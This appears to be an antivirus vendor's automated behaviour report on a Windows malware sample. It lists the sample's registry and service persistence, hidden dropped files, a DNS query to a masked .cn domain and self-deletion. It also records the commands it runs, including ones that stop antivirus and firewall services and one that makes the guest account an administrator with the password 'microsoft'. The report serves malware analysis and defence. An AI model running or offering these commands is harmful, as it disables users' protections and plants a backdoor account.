Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'SoundMan' = 'SoundMan.exe'
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce] 'GrpConv' = 'grpconv -o'
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\helpsvc] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\helpsvc] 'ImagePath' = '<SYSTEM32>\ineters.exe'
Creates the following services
- 'helpsvc' <SYSTEM32>\ineters.exe
Malicious functions
Executes the following
- '%WINDIR%\syswow64\net.exe' stop "Norton AntiVirus Server"
- '%WINDIR%\syswow64\net.exe' stop KPfwSvc
- '%WINDIR%\syswow64\net.exe' stop McShield
- '%WINDIR%\syswow64\net.exe' stop sharedaccess
- '%WINDIR%\syswow64\net.exe' stop KWatchsvc
Modifies file system
Creates the following files
- %WINDIR%\syswow64\alcwzrd.exe
- %WINDIR%\syswow64\soundman.exe
- %WINDIR%\syswow64\ineters.exe
- %WINDIR%\syswow64\tthh2.ini
- %WINDIR%\1.inf
- <Current directory>\1.bat
Sets the 'hidden' attribute to the following files
- %WINDIR%\syswow64\soundman.exe
- %WINDIR%\syswow64\ineters.exe
- %WINDIR%\syswow64\alcwzrd.exe
Deletes the following files
- %WINDIR%\1.inf
Modifies the following files
- %LOCALAPPDATA%\microsoft\windows\explorer\explorerstartuplog_runonce.etl
Deletes itself.
Network activity
UDP
- DNS ASK ma###aoba.cn
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c net stop sharedaccess' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop KWatchsvc' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop KPfwSvc' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop McShield' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop "Norton AntiVirus Server"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c del <SYSTEM32>\updeta.exe&DEL <SYSTEM32>\ineters.exe&DEL <SYSTEM32>\SoundMan.exe&DEL <SYSTEM32>\ttzhh.ini&DEL <SYSTEM32>\hz3.ini&DEL <SYSTEM32>\hz2.ini&DEL <SYSTEM32>\1035.ini&DEL <SYSTEM32>...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net user guest /active:yes&net user guest microsoft&net localgroup administrators guest /add&exit' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo [Version]>%windir%\1.inf&echo Signature="$WINDOWS NT$">>%windir%\1.inf&echo [DefaultInstall.Services]>>%windir%\1.inf&echo AddService=helpsvc,,My_AddService_Name>>%windir%\1.inf&echo [M...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo ping 127.1 -n 5 >nul 2>nul >1.bat&echo del <File name>.exe>>1.bat&echo del 1.bat>>1.bat&1.bat' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c net stop sharedaccess
- '%WINDIR%\syswow64\net1.exe' localgroup administrators guest /add
- '%WINDIR%\syswow64\net.exe' localgroup administrators guest /add
- '%WINDIR%\syswow64\ping.exe' 127.1 -n 5
- '%WINDIR%\syswow64\rundll32.exe' setupapi,InstallHinfSection DefaultInstall 128 %WINDIR%\1.inf
- '%WINDIR%\syswow64\net1.exe' user guest microsoft
- '%WINDIR%\syswow64\net.exe' user guest microsoft
- '%WINDIR%\syswow64\cmd.exe' /c echo ping 127.1 -n 5 >nul 2>nul >1.bat&echo del <File name>.exe>>1.bat&echo del 1.bat>>1.bat&1.bat
- '%WINDIR%\syswow64\cmd.exe' /c echo [Version]>%windir%\1.inf&echo Signature="$WINDOWS NT$">>%windir%\1.inf&echo [DefaultInstall.Services]>>%windir%\1.inf&echo AddService=helpsvc,,My_AddService_Name>>%windir%\1.inf&echo [M...
- '%WINDIR%\syswow64\net1.exe' user guest /active:yes
- '%WINDIR%\syswow64\net.exe' user guest /active:yes
- '%WINDIR%\syswow64\cmd.exe' /c net user guest /active:yes&net user guest microsoft&net localgroup administrators guest /add&exit
- '%WINDIR%\syswow64\net1.exe' stop "Norton AntiVirus Server"
- '%WINDIR%\syswow64\net1.exe' stop sharedaccess
- '%WINDIR%\syswow64\net1.exe' stop KWatchsvc
- '%WINDIR%\syswow64\cmd.exe' /c del <SYSTEM32>\updeta.exe&DEL <SYSTEM32>\ineters.exe&DEL <SYSTEM32>\SoundMan.exe&DEL <SYSTEM32>\ttzhh.ini&DEL <SYSTEM32>\hz3.ini&DEL <SYSTEM32>\hz2.ini&DEL <SYSTEM32>\1035.ini&DEL <SYSTEM32>...
- '%WINDIR%\syswow64\net1.exe' stop McShield
- '%WINDIR%\syswow64\net1.exe' stop KPfwSvc
- '%WINDIR%\syswow64\cmd.exe' /c net stop "Norton AntiVirus Server"
- '%WINDIR%\syswow64\cmd.exe' /c net stop McShield
- '%WINDIR%\syswow64\cmd.exe' /c net stop KPfwSvc
- '%WINDIR%\syswow64\cmd.exe' /c net stop KWatchsvc
- '%WINDIR%\syswow64\runonce.exe' -r
- '%WINDIR%\syswow64\grpconv.exe' -o
